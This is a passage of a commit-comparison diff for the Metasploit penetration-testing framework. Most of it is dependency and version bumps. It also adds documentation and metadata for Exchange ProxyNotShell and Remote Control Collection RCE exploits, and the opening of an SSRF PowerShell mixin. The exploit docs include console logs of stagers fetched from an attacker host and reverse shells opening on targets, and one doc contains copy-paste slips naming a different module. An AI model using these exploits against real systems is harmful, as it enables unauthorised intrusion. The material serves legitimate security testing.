Compare commits
39 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| 03bb062c2e | |||
| dcff4d37b6 | |||
| b9c18de4fe | |||
| 13ab155545 | |||
| 330cb2944b | |||
| 07a91df7a1 | |||
| d3057f15b2 | |||
| 35bbfc8af4 | |||
| 8ea8e2410d | |||
| 8a66a359a6 | |||
| 5d3cfa69b8 | |||
| 3462dc6bf4 | |||
| 264d45e04a | |||
| f24df8a051 | |||
| 009c6c5350 | |||
| c49dd0b6cd | |||
| de75f0ecbe | |||
| 9aa1a84b3a | |||
| 638a1c8f78 | |||
| 25a0d0ff0e | |||
| c218063a1a | |||
| ed954eec0c | |||
| 3805a79079 | |||
| 3f58bfe11e | |||
| 7227bec259 | |||
| 8c9e2c9fc7 | |||
| d141efcbfe | |||
| 181b8e4eea | |||
| d4536b24a6 | |||
| ed99f2f67f | |||
| bc89721d7a | |||
| f6bdbbd359 | |||
| 29d57dde66 | |||
| fc7594dbc8 | |||
| 771b66f570 | |||
| 0065cff169 | |||
| d6f27a8a71 | |||
| 11936affd1 | |||
| b60b440697 |
+48
-48
@@ -1,7 +1,7 @@
|
||||
PATH
|
||||
remote: .
|
||||
specs:
|
||||
metasploit-framework (6.2.28)
|
||||
metasploit-framework (6.2.29)
|
||||
actionpack (~> 6.0)
|
||||
activerecord (~> 6.0)
|
||||
activesupport (~> 6.0)
|
||||
@@ -128,30 +128,30 @@ GEM
|
||||
activerecord (>= 3.1.0, < 8)
|
||||
ast (2.4.2)
|
||||
aws-eventstream (1.2.0)
|
||||
aws-partitions (1.648.0)
|
||||
aws-sdk-core (3.162.0)
|
||||
aws-partitions (1.663.0)
|
||||
aws-sdk-core (3.168.0)
|
||||
aws-eventstream (~> 1, >= 1.0.2)
|
||||
aws-partitions (~> 1, >= 1.525.0)
|
||||
aws-sigv4 (~> 1.1)
|
||||
aws-partitions (~> 1, >= 1.651.0)
|
||||
aws-sigv4 (~> 1.5)
|
||||
jmespath (~> 1, >= 1.6.1)
|
||||
aws-sdk-ec2 (1.341.0)
|
||||
aws-sdk-core (~> 3, >= 3.127.0)
|
||||
aws-sdk-ec2 (1.350.0)
|
||||
aws-sdk-core (~> 3, >= 3.165.0)
|
||||
aws-sigv4 (~> 1.1)
|
||||
aws-sdk-iam (1.71.0)
|
||||
aws-sdk-core (~> 3, >= 3.127.0)
|
||||
aws-sdk-iam (1.73.0)
|
||||
aws-sdk-core (~> 3, >= 3.165.0)
|
||||
aws-sigv4 (~> 1.1)
|
||||
aws-sdk-kms (1.58.0)
|
||||
aws-sdk-core (~> 3, >= 3.127.0)
|
||||
aws-sdk-kms (1.59.0)
|
||||
aws-sdk-core (~> 3, >= 3.165.0)
|
||||
aws-sigv4 (~> 1.1)
|
||||
aws-sdk-s3 (1.115.0)
|
||||
aws-sdk-core (~> 3, >= 3.127.0)
|
||||
aws-sdk-s3 (1.117.1)
|
||||
aws-sdk-core (~> 3, >= 3.165.0)
|
||||
aws-sdk-kms (~> 1)
|
||||
aws-sigv4 (~> 1.4)
|
||||
aws-sigv4 (1.5.2)
|
||||
aws-eventstream (~> 1, >= 1.0.2)
|
||||
bcrypt (3.1.18)
|
||||
bcrypt_pbkdf (1.1.0)
|
||||
bindata (2.4.13)
|
||||
bindata (2.4.14)
|
||||
bson (4.15.0)
|
||||
builder (3.2.4)
|
||||
byebug (11.1.3)
|
||||
@@ -160,7 +160,7 @@ GEM
|
||||
cookiejar (0.3.3)
|
||||
crass (1.0.6)
|
||||
daemons (1.4.1)
|
||||
debug (1.6.2)
|
||||
debug (1.6.3)
|
||||
irb (>= 1.3.6)
|
||||
reline (>= 0.3.1)
|
||||
diff-lcs (1.5.0)
|
||||
@@ -185,12 +185,12 @@ GEM
|
||||
factory_bot_rails (6.2.0)
|
||||
factory_bot (~> 6.2.0)
|
||||
railties (>= 5.0.0)
|
||||
faker (2.23.0)
|
||||
faker (3.0.0)
|
||||
i18n (>= 1.8.11, < 2)
|
||||
faraday (2.6.0)
|
||||
faraday (2.7.1)
|
||||
faraday-net_http (>= 2.0, < 3.1)
|
||||
ruby2_keywords (>= 0.0.4)
|
||||
faraday-net_http (3.0.1)
|
||||
faraday-net_http (3.0.2)
|
||||
faraday-retry (2.0.0)
|
||||
faraday (~> 2.0)
|
||||
faye-websocket (0.11.1)
|
||||
@@ -216,7 +216,7 @@ GEM
|
||||
i18n (1.12.0)
|
||||
concurrent-ruby (~> 1.0)
|
||||
io-console (0.5.11)
|
||||
irb (1.4.2)
|
||||
irb (1.4.3)
|
||||
reline (>= 0.3.0)
|
||||
jmespath (1.6.1)
|
||||
jsobfu (0.4.2)
|
||||
@@ -229,7 +229,7 @@ GEM
|
||||
loofah (2.19.0)
|
||||
crass (~> 1.0.2)
|
||||
nokogiri (>= 1.5.9)
|
||||
memory_profiler (1.0.0)
|
||||
memory_profiler (1.0.1)
|
||||
metasm (1.0.5)
|
||||
metasploit-concern (4.0.5)
|
||||
activemodel (~> 6.0)
|
||||
@@ -250,7 +250,7 @@ GEM
|
||||
activesupport (~> 6.0)
|
||||
railties (~> 6.0)
|
||||
metasploit-payloads (2.0.101)
|
||||
metasploit_data_models (5.0.5)
|
||||
metasploit_data_models (5.0.6)
|
||||
activerecord (~> 6.0)
|
||||
activesupport (~> 6.0)
|
||||
arel-helpers
|
||||
@@ -258,7 +258,7 @@ GEM
|
||||
metasploit-model (>= 3.1)
|
||||
pg
|
||||
railties (~> 6.0)
|
||||
recog (~> 2.0)
|
||||
recog
|
||||
webrick
|
||||
metasploit_payloads-mettle (1.0.20)
|
||||
method_source (1.0.0)
|
||||
@@ -273,7 +273,7 @@ GEM
|
||||
net-ldap (0.17.1)
|
||||
net-protocol (0.1.3)
|
||||
timeout
|
||||
net-smtp (0.3.2)
|
||||
net-smtp (0.3.3)
|
||||
net-protocol
|
||||
net-ssh (7.0.1)
|
||||
network_interface (0.0.2)
|
||||
@@ -296,13 +296,13 @@ GEM
|
||||
ast (~> 2.4.1)
|
||||
patch_finder (1.0.2)
|
||||
pcaprub (0.13.1)
|
||||
pdf-reader (2.10.0)
|
||||
pdf-reader (2.11.0)
|
||||
Ascii85 (~> 1.0)
|
||||
afm (~> 0.2.1)
|
||||
hashery (~> 2.0)
|
||||
ruby-rc4
|
||||
ttfunk
|
||||
pg (1.4.4)
|
||||
pg (1.4.5)
|
||||
pry (0.13.1)
|
||||
coderay (~> 1.1)
|
||||
method_source (~> 1.0)
|
||||
@@ -314,7 +314,7 @@ GEM
|
||||
nio4r (~> 2.0)
|
||||
racc (1.6.0)
|
||||
rack (2.2.4)
|
||||
rack-protection (3.0.2)
|
||||
rack-protection (3.0.3)
|
||||
rack
|
||||
rack-test (2.0.2)
|
||||
rack (>= 1.3)
|
||||
@@ -332,10 +332,10 @@ GEM
|
||||
rainbow (3.1.1)
|
||||
rake (13.0.6)
|
||||
rb-readline (0.5.5)
|
||||
recog (2.3.23)
|
||||
recog (3.0.3)
|
||||
nokogiri
|
||||
redcarpet (3.5.1)
|
||||
regexp_parser (2.6.0)
|
||||
regexp_parser (2.6.1)
|
||||
reline (0.3.1)
|
||||
io-console (~> 0.5)
|
||||
rex-arch (0.1.14)
|
||||
@@ -388,18 +388,18 @@ GEM
|
||||
rex-text
|
||||
rexml (3.2.5)
|
||||
rkelly-remix (0.0.7)
|
||||
rspec (3.11.0)
|
||||
rspec-core (~> 3.11.0)
|
||||
rspec-expectations (~> 3.11.0)
|
||||
rspec-mocks (~> 3.11.0)
|
||||
rspec-core (3.11.0)
|
||||
rspec-support (~> 3.11.0)
|
||||
rspec-expectations (3.11.1)
|
||||
rspec (3.12.0)
|
||||
rspec-core (~> 3.12.0)
|
||||
rspec-expectations (~> 3.12.0)
|
||||
rspec-mocks (~> 3.12.0)
|
||||
rspec-core (3.12.0)
|
||||
rspec-support (~> 3.12.0)
|
||||
rspec-expectations (3.12.0)
|
||||
diff-lcs (>= 1.2.0, < 2.0)
|
||||
rspec-support (~> 3.11.0)
|
||||
rspec-mocks (3.11.1)
|
||||
rspec-support (~> 3.12.0)
|
||||
rspec-mocks (3.12.0)
|
||||
diff-lcs (>= 1.2.0, < 2.0)
|
||||
rspec-support (~> 3.11.0)
|
||||
rspec-support (~> 3.12.0)
|
||||
rspec-rails (6.0.1)
|
||||
actionpack (>= 6.1)
|
||||
activesupport (>= 6.1)
|
||||
@@ -410,25 +410,25 @@ GEM
|
||||
rspec-support (~> 3.11)
|
||||
rspec-rerun (1.1.0)
|
||||
rspec (~> 3.0)
|
||||
rspec-support (3.11.1)
|
||||
rubocop (1.37.0)
|
||||
rspec-support (3.12.0)
|
||||
rubocop (1.39.0)
|
||||
json (~> 2.3)
|
||||
parallel (~> 1.10)
|
||||
parser (>= 3.1.2.1)
|
||||
rainbow (>= 2.2.2, < 4.0)
|
||||
regexp_parser (>= 1.8, < 3.0)
|
||||
rexml (>= 3.2.5, < 4.0)
|
||||
rubocop-ast (>= 1.22.0, < 2.0)
|
||||
rubocop-ast (>= 1.23.0, < 2.0)
|
||||
ruby-progressbar (~> 1.7)
|
||||
unicode-display_width (>= 1.4.0, < 3.0)
|
||||
rubocop-ast (1.22.0)
|
||||
rubocop-ast (1.23.0)
|
||||
parser (>= 3.1.1.0)
|
||||
ruby-macho (3.0.0)
|
||||
ruby-prof (1.4.2)
|
||||
ruby-progressbar (1.11.0)
|
||||
ruby-rc4 (0.1.5)
|
||||
ruby2_keywords (0.0.5)
|
||||
ruby_smb (3.2.0)
|
||||
ruby_smb (3.2.1)
|
||||
bindata
|
||||
openssl-ccm
|
||||
openssl-cmac
|
||||
@@ -445,12 +445,12 @@ GEM
|
||||
simplecov-html (0.12.3)
|
||||
simpleidn (0.2.1)
|
||||
unf (~> 0.1.4)
|
||||
sinatra (3.0.2)
|
||||
sinatra (3.0.3)
|
||||
mustermann (~> 3.0)
|
||||
rack (~> 2.2, >= 2.2.4)
|
||||
rack-protection (= 3.0.2)
|
||||
rack-protection (= 3.0.3)
|
||||
tilt (~> 2.0)
|
||||
sqlite3 (1.5.3)
|
||||
sqlite3 (1.5.4)
|
||||
mini_portile2 (~> 2.8.0)
|
||||
sshkey (2.0.0)
|
||||
swagger-blocks (3.0.0)
|
||||
@@ -465,7 +465,7 @@ GEM
|
||||
ttfunk (1.7.0)
|
||||
tzinfo (2.0.5)
|
||||
concurrent-ruby (~> 1.0)
|
||||
tzinfo-data (1.2022.5)
|
||||
tzinfo-data (1.2022.6)
|
||||
tzinfo (>= 1.0.0)
|
||||
unf (0.1.4)
|
||||
unf_ext
|
||||
@@ -496,7 +496,7 @@ GEM
|
||||
webrick
|
||||
yard (0.9.28)
|
||||
webrick (~> 1.7.0)
|
||||
zeitwerk (2.6.1)
|
||||
zeitwerk (2.6.6)
|
||||
|
||||
PLATFORMS
|
||||
ruby
|
||||
|
||||
+1
-1
@@ -70,7 +70,7 @@ memory_profiler, 1.0.0, MIT
|
||||
metasm, 1.0.5, LGPL-2.1
|
||||
metasploit-concern, 4.0.5, "New BSD"
|
||||
metasploit-credential, 5.0.9, "New BSD"
|
||||
metasploit-framework, 6.2.28, "New BSD"
|
||||
metasploit-framework, 6.2.29, "New BSD"
|
||||
metasploit-model, 4.0.6, "New BSD"
|
||||
metasploit-payloads, 2.0.101, "3-clause (or ""modified"") BSD"
|
||||
metasploit_data_models, 5.0.5, "New BSD"
|
||||
|
||||
+2
@@ -71,6 +71,8 @@
|
||||
<B N="V"><%= arg[:value].to_s %></B>
|
||||
<% elsif arg[:value].is_a? String %>
|
||||
<S N="V"><%= arg[:value].encode(xml: :text) %></S>
|
||||
<% elsif arg[:value].is_a? Nokogiri::XML::Element %>
|
||||
<%= arg[:value].to_s %>
|
||||
<% end %>
|
||||
</MS>
|
||||
</Obj>
|
||||
@@ -35412,7 +35412,7 @@
|
||||
"https"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2022-01-23 15:28:32 +0000",
|
||||
"mod_time": "2022-11-27 15:35:34 +0000",
|
||||
"path": "/modules/auxiliary/scanner/http/tomcat_mgr_login.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/http/tomcat_mgr_login",
|
||||
@@ -47037,7 +47037,7 @@
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2022-01-23 15:28:32 +0000",
|
||||
"mod_time": "2022-11-01 14:22:49 +0000",
|
||||
"path": "/modules/auxiliary/scanner/snmp/snmp_enum.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/snmp/snmp_enum",
|
||||
@@ -47117,7 +47117,7 @@
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2017-07-24 06:26:21 +0000",
|
||||
"mod_time": "2022-11-01 14:22:49 +0000",
|
||||
"path": "/modules/auxiliary/scanner/snmp/snmp_enumshares.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/snmp/snmp_enumshares",
|
||||
@@ -47155,7 +47155,7 @@
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2017-07-24 06:26:21 +0000",
|
||||
"mod_time": "2022-11-01 14:22:49 +0000",
|
||||
"path": "/modules/auxiliary/scanner/snmp/snmp_enumusers.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/snmp/snmp_enumusers",
|
||||
@@ -74051,7 +74051,7 @@
|
||||
"targets": [
|
||||
"Automatic"
|
||||
],
|
||||
"mod_time": "2022-10-08 09:50:25 +0000",
|
||||
"mod_time": "2022-11-25 15:13:57 +0000",
|
||||
"path": "/modules/exploits/linux/local/polkit_dbus_auth_bypass.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/local/polkit_dbus_auth_bypass",
|
||||
@@ -98550,7 +98550,7 @@
|
||||
"Apache OpenOffice on Windows (PSH)",
|
||||
"Apache OpenOffice on Linux/OSX (Python)"
|
||||
],
|
||||
"mod_time": "2020-10-02 17:38:06 +0000",
|
||||
"mod_time": "2022-11-30 22:10:18 +0000",
|
||||
"path": "/modules/exploits/multi/misc/openoffice_document_macro.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "multi/misc/openoffice_document_macro",
|
||||
@@ -104558,7 +104558,7 @@
|
||||
"Unix Command",
|
||||
"BSD Dropper"
|
||||
],
|
||||
"mod_time": "2022-10-12 19:23:59 +0000",
|
||||
"mod_time": "2022-10-24 14:17:21 +0000",
|
||||
"path": "/modules/exploits/unix/http/pfsense_pfblockerng_webshell.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "unix/http/pfsense_pfblockerng_webshell",
|
||||
@@ -142075,6 +142075,79 @@
|
||||
"session_types": false,
|
||||
"needs_cleanup": true
|
||||
},
|
||||
"exploit_windows/http/exchange_proxynotshell_rce": {
|
||||
"name": "Microsoft Exchange ProxyNotShell RCE",
|
||||
"fullname": "exploit/windows/http/exchange_proxynotshell_rce",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2022-09-28",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"Orange Tsai",
|
||||
"Spencer McIntyre",
|
||||
"DA-0x43-Dx4-DA-Hx2-Tx2-TP-S-Q",
|
||||
"Piotr Bazydło",
|
||||
"Rich Warren",
|
||||
"Soroush Dalili"
|
||||
],
|
||||
"description": "This module chains two vulnerabilities on Microsoft Exchange Server\n that, when combined, allow an authenticated attacker to interact with\n the Exchange Powershell backend (CVE-2022-41040), where a\n deserialization flaw can be leveraged to obtain code execution\n (CVE-2022-41082). This exploit only support Exchange Server 2019.\n\n These vulnerabilities were patched in November 2022.",
|
||||
"references": [
|
||||
"CVE-2022-41040",
|
||||
"CVE-2022-41082",
|
||||
"URL-https://www.zerodayinitiative.com/blog/2022/11/14/control-your-types-or-get-pwned-remote-code-execution-in-exchange-powershell-backend",
|
||||
"URL-https://msrc-blog.microsoft.com/2022/09/29/customer-guidance-for-reported-zero-day-vulnerabilities-in-microsoft-exchange-server/",
|
||||
"URL-https://doublepulsar.com/proxynotshell-the-story-of-the-claimed-zero-day-in-microsoft-exchange-5c63d963a9e9",
|
||||
"URL-https://rw.md/2022/11/09/ProxyNotRelay.html"
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "cmd, x64, x86",
|
||||
"rport": 443,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": [
|
||||
"Windows Dropper",
|
||||
"Windows Command"
|
||||
],
|
||||
"mod_time": "2022-11-28 10:06:14 +0000",
|
||||
"path": "/modules/exploits/windows/http/exchange_proxynotshell_rce.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/http/exchange_proxynotshell_rce",
|
||||
"check": true,
|
||||
"post_auth": true,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"SideEffects": [
|
||||
"artifacts-on-disk",
|
||||
"ioc-in-logs"
|
||||
],
|
||||
"AKA": [
|
||||
"ProxyNotShell"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_windows/http/exchange_proxyshell_rce": {
|
||||
"name": "Microsoft Exchange ProxyShell RCE",
|
||||
"fullname": "exploit/windows/http/exchange_proxyshell_rce",
|
||||
@@ -142128,7 +142201,7 @@
|
||||
"Windows Dropper",
|
||||
"Windows Command"
|
||||
],
|
||||
"mod_time": "2021-11-10 11:12:38 +0000",
|
||||
"mod_time": "2022-11-28 10:16:55 +0000",
|
||||
"path": "/modules/exploits/windows/http/exchange_proxyshell_rce.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/http/exchange_proxyshell_rce",
|
||||
@@ -161574,6 +161647,58 @@
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_windows/misc/remote_control_collection_rce": {
|
||||
"name": "Remote Control Collection RCE",
|
||||
"fullname": "exploit/windows/misc/remote_control_collection_rce",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": "2022-09-20",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"h00die",
|
||||
"H4rk3nz0"
|
||||
],
|
||||
"description": "This module utilizes the Remote Control Server's, part\n of the Remote Control Collection by Steppschuh, protocol\n to deploy a payload and run it from the server. This module will only deploy\n a payload if the server is set without a password (default).\n Tested against 3.1.1.12, current at the time of module writing",
|
||||
"references": [
|
||||
"URL-http://remote-control-collection.com",
|
||||
"URL-https://github.com/H4rk3nz0/PenTesting/blob/main/Exploits/remote%20control%20collection/remote-control-collection-rce.py"
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "x64, x86",
|
||||
"rport": 1926,
|
||||
"autofilter_ports": [
|
||||
|
||||
],
|
||||
"autofilter_services": [
|
||||
|
||||
],
|
||||
"targets": [
|
||||
"default"
|
||||
],
|
||||
"mod_time": "2022-10-28 15:03:39 +0000",
|
||||
"path": "/modules/exploits/windows/misc/remote_control_collection_rce.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/misc/remote_control_collection_rce",
|
||||
"check": true,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
],
|
||||
"SideEffects": [
|
||||
"artifacts-on-disk",
|
||||
"screen-effects"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": true
|
||||
},
|
||||
"exploit_windows/misc/remote_mouse_rce": {
|
||||
"name": "Remote Mouse RCE",
|
||||
"fullname": "exploit/windows/misc/remote_mouse_rce",
|
||||
|
||||
@@ -0,0 +1,66 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module chains two vulnerabilities on Microsoft Exchange Server that, when combined, allow an authenticated attacker
|
||||
to interact with the Exchange Powershell backend (CVE-2022-41040), where a deserialization flaw can be leveraged to
|
||||
obtain code execution (CVE-2022-41082). This exploit only support Exchange Server 2019.
|
||||
|
||||
By taking advantage of this vulnerability, you can execute arbitrary commands on the remote Microsoft Exchange Server.
|
||||
|
||||
This vulnerability affects:
|
||||
|
||||
* Exchange 2013 CU23 < 15.0.1497.44
|
||||
* Exchange 2016 CU22 < 15.1.2375.37
|
||||
* Exchange 2016 CU23 < 15.1.2507.16
|
||||
* Exchange 2019 CU11 < 15.2.986.36
|
||||
* Exchange 2019 CU12 < 15.2.1118.20
|
||||
|
||||
*Source: [Description of the security update for Microsoft Exchange Server 2019, 2016, and 2013: November 8, 2022 (KB5019758)][1]*
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Do: `use exploit/windows/http/exchange_proxynotshell_rce`
|
||||
3. Do: `set RHOSTS [IP]`
|
||||
4. Do: `set USERNAME [USERNAME]`
|
||||
5. Do: `set PASSWORD [PASSWORD]`
|
||||
6. Do: `run`
|
||||
|
||||
## Advanced Options
|
||||
### EemsBypass
|
||||
|
||||
Technique to bypass the EEMS rule.
|
||||
|
||||
**none** -- Make no attempt to bypass the EEMS rule. This can be used with the `check` method to determine if the EEMS
|
||||
M1 rule is applied.
|
||||
**IBM037v1** -- Use IBM037 encoding combined with the `X-Up-Devcap-Post-Charset` header and `UP` User-Agent prefix. See
|
||||
[ProxyNotRelay][2] for more information.
|
||||
|
||||
### MaxBackendRetries
|
||||
|
||||
The maximum number of times to retry for targeting the backend server with the SSRF. This is useful in environments
|
||||
where a Data Availability Group (DAG) is in place and causes requests to be sent to a random backend server.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Version and OS
|
||||
|
||||
```
|
||||
msf6 exploit(windows/http/exchange_proxynotshell_rce) > set RHOSTS 192.168.159.11
|
||||
RHOSTS => 192.168.159.11
|
||||
msf6 exploit(windows/http/exchange_proxynotshell_rce) > set USERNAME aliddle
|
||||
USERNAME => aliddle
|
||||
msf6 exploit(windows/http/exchange_proxynotshell_rce) > set PASSWORD Password1!
|
||||
PASSWORD => Password1!
|
||||
msf6 exploit(windows/http/exchange_proxynotshell_rce) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.159.128:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target is vulnerable.
|
||||
[*] Sending stage (175686 bytes) to 192.168.159.11
|
||||
[*] Meterpreter session 1 opened (192.168.159.128:4444 -> 192.168.159.11:7290) at 2022-11-18 17:32:18 -0500
|
||||
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
[1]: https://support.microsoft.com/en-us/topic/description-of-the-security-update-for-microsoft-exchange-server-2019-2016-and-2013-november-8-2022-kb5019758-2b3b039b-68b9-4f35-9064-6b286f495b1d
|
||||
[2]: https://rw.md/2022/11/09/ProxyNotRelay.html
|
||||
@@ -10,9 +10,9 @@ This vulnerability affects:
|
||||
|
||||
* Exchange 2013 CU23 < 15.0.1497.15
|
||||
* Exchange 2016 CU19 < 15.1.2176.12
|
||||
* Exchange 2016 CU20 < 15.1.2242.5
|
||||
* Exchange 2016 CU20 < 15.1.2242.8
|
||||
* Exchange 2019 CU8 < 15.2.792.13
|
||||
* Exchange 2019 CU9 < 15.2.858.9
|
||||
* Exchange 2019 CU9 < 15.2.858.10
|
||||
|
||||
*Source: [Description of the security update for Microsoft Exchange Server 2019, 2016, and 2013: April 13, 2021 (KB5001779)][1]*
|
||||
|
||||
@@ -87,6 +87,11 @@ The path where you want to write the backdoor. Default: `aspnet_client`
|
||||
|
||||
This is MAPI client version sent in the request.
|
||||
|
||||
### MaxBackendRetries
|
||||
|
||||
The maximum number of times to retry for targeting the backend server with the SSRF. This is useful in environments
|
||||
where a Data Availability Group (DAG) is in place and causes requests to be sent to a random backend server.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Exchange 2016 CU 19 on Server 2016
|
||||
|
||||
@@ -0,0 +1,106 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module utilizes the Remote Control Server's, part
|
||||
of the Remote Control Collection by Steppschuh, protocol
|
||||
to deploy a payload and run it from the server. This module will only deploy
|
||||
a payload if the server is set without a password (default).
|
||||
Tested against 3.1.1.12, current at the time of module writing
|
||||
|
||||
Version 3.1.1.12 can be downloaded from http://remote-control-collection.com/
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
2. Start msfconsole
|
||||
3. Do: `use exploit/windows/misc/remote_control_collection_rce`
|
||||
4. Set `rhost` and `lhost` as required.
|
||||
5. Do: `run`
|
||||
6. You should get a shell as the user who is running Remote Mouse.
|
||||
|
||||
## Options
|
||||
|
||||
### PATH
|
||||
|
||||
The location to write the payload to
|
||||
Defaults to `%temp%\\` aka `c:\\Windows\\Temp\\` on most systems.
|
||||
|
||||
### SLEEP
|
||||
|
||||
The length of time, in seconds, to sleep between each command. This gives the remote program time to process the command on screen.
|
||||
Defaults to `1`.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Remote Control Server 3.1.1.12 on Windows 10
|
||||
|
||||
```
|
||||
resource (remote_mouse.rb)> use exploits/windows/misc/remote_mouse_rce
|
||||
[*] Using configured payload windows/shell/reverse_tcp
|
||||
resource (remote_mouse.rb)> set rhosts 1.1.1.1
|
||||
rhosts => 1.1.1.1
|
||||
resource (remote_mouse.rb)> set lhost 2.2.2.2
|
||||
lhost => 2.2.2.2
|
||||
resource (remote_mouse.rb)> set verbose true
|
||||
verbose => true
|
||||
msf6 exploit(windows/misc/remote_mouse_rce) > run
|
||||
|
||||
[*] Started reverse TCP handler on 2.2.2.2:4444
|
||||
[*] 1.1.1.1:1978 - Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] 1.1.1.1:1978 - The target appears to be vulnerable. Received handshake with version: 411
|
||||
[*] 1.1.1.1:1978 - Connecting
|
||||
[*] 1.1.1.1:1978 - Sending Windows key
|
||||
[*] 1.1.1.1:1978 - Opening command prompt
|
||||
[*] 1.1.1.1:1978 - Sending stager
|
||||
[*] 1.1.1.1:1978 - Using URL: http://2.2.2.2:8080/
|
||||
[+] 1.1.1.1:1978 - Payload request received, sending 73802 bytes of payload for staging
|
||||
[+] 1.1.1.1:1978 - Payload request received, sending 73802 bytes of payload for staging
|
||||
[*] 1.1.1.1:1978 - Executing payload
|
||||
[*] Encoded stage with x86/shikata_ga_nai
|
||||
[*] Sending encoded stage (267 bytes) to 1.1.1.1
|
||||
[*] Command shell session 1 opened (2.2.2.2:4444 -> 1.1.1.1:49962) at 2022-09-27 16:33:02 -0400
|
||||
[*] 1.1.1.1:1978 - Server stopped.
|
||||
[!] 1.1.1.1:1978 - This exploit may require manual cleanup of 'c:\Windows\Temp\NADYvmtxr.exe' on the target
|
||||
|
||||
|
||||
Shell Banner:
|
||||
Microsoft Windows [Version 10.0.16299.125]
|
||||
-----
|
||||
|
||||
|
||||
C:\Users\windows>whoami
|
||||
whoami
|
||||
win10prolicense\windows
|
||||
|
||||
C:\Users\windows>systeminfo
|
||||
systeminfo
|
||||
|
||||
Host Name: WIN10PROLICENSE
|
||||
OS Name: Microsoft Windows 10 Pro
|
||||
OS Version: 10.0.16299 N/A Build 16299
|
||||
```
|
||||
|
||||
### Remote Control Server 3.1.1.12 on Windows 10, with a password
|
||||
|
||||
Expected to fail.
|
||||
|
||||
```
|
||||
resource (remote_control_collection.rb)> use exploits/windows/misc/remote_control_collection_rce
|
||||
[*] Using configured payload windows/shell/reverse_tcp
|
||||
resource (remote_control_collection.rb)> set rhosts 1.1.1.1
|
||||
rhosts => 1.1.1.1
|
||||
resource (remote_control_collection.rb)> set lhost 2.2.2.2
|
||||
lhost => 2.2.2.2
|
||||
resource (remote_control_collection.rb)> set verbose true
|
||||
verbose => true
|
||||
msf6 exploit(windows/misc/remote_control_collection_rce) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 2.2.2.2:4444
|
||||
[*] Connecting and Sending Windows key
|
||||
[*] Opening command prompt
|
||||
[*] Sending stager
|
||||
[*] Using URL: http://2.2.2.2:8080/
|
||||
[*] Executing payload
|
||||
[*] Server stopped.
|
||||
[!] This exploit may require manual cleanup of 'c:\Windows\Temp\OqsTi76PX80it.exe' on the target
|
||||
[*] Exploit completed, but no session was created
|
||||
```
|
||||
@@ -30,7 +30,7 @@ module Metasploit
|
||||
end
|
||||
end
|
||||
|
||||
VERSION = "6.2.28"
|
||||
VERSION = "6.2.29"
|
||||
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
|
||||
PRERELEASE = 'dev'
|
||||
HASH = get_hash
|
||||
|
||||
@@ -0,0 +1,207 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'winrm'
|
||||
|
||||
module Msf::Exploit::Remote::HTTP::Exchange::ProxyMaybeShell
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
Msf::OptFloat.new('MaxBackendRetries', [true, 'The maximum number of times to retry for targeting the backend', 10]),
|
||||
], self.class
|
||||
)
|
||||
end
|
||||
|
||||
def execute_powershell(cmdlet, args: [], cat: nil)
|
||||
winrm = SSRFWinRMConnection.new({
|
||||
endpoint: full_uri('PowerShell/'),
|
||||
transport: :ssrf,
|
||||
max_backend_retries: datastore['MaxBackendRetries'].to_i,
|
||||
ssrf_proc: proc do |method, uri, opts|
|
||||
uri = "#{uri}?X-Rps-CAT=#{cat}" if cat
|
||||
opts[:data].gsub!(
|
||||
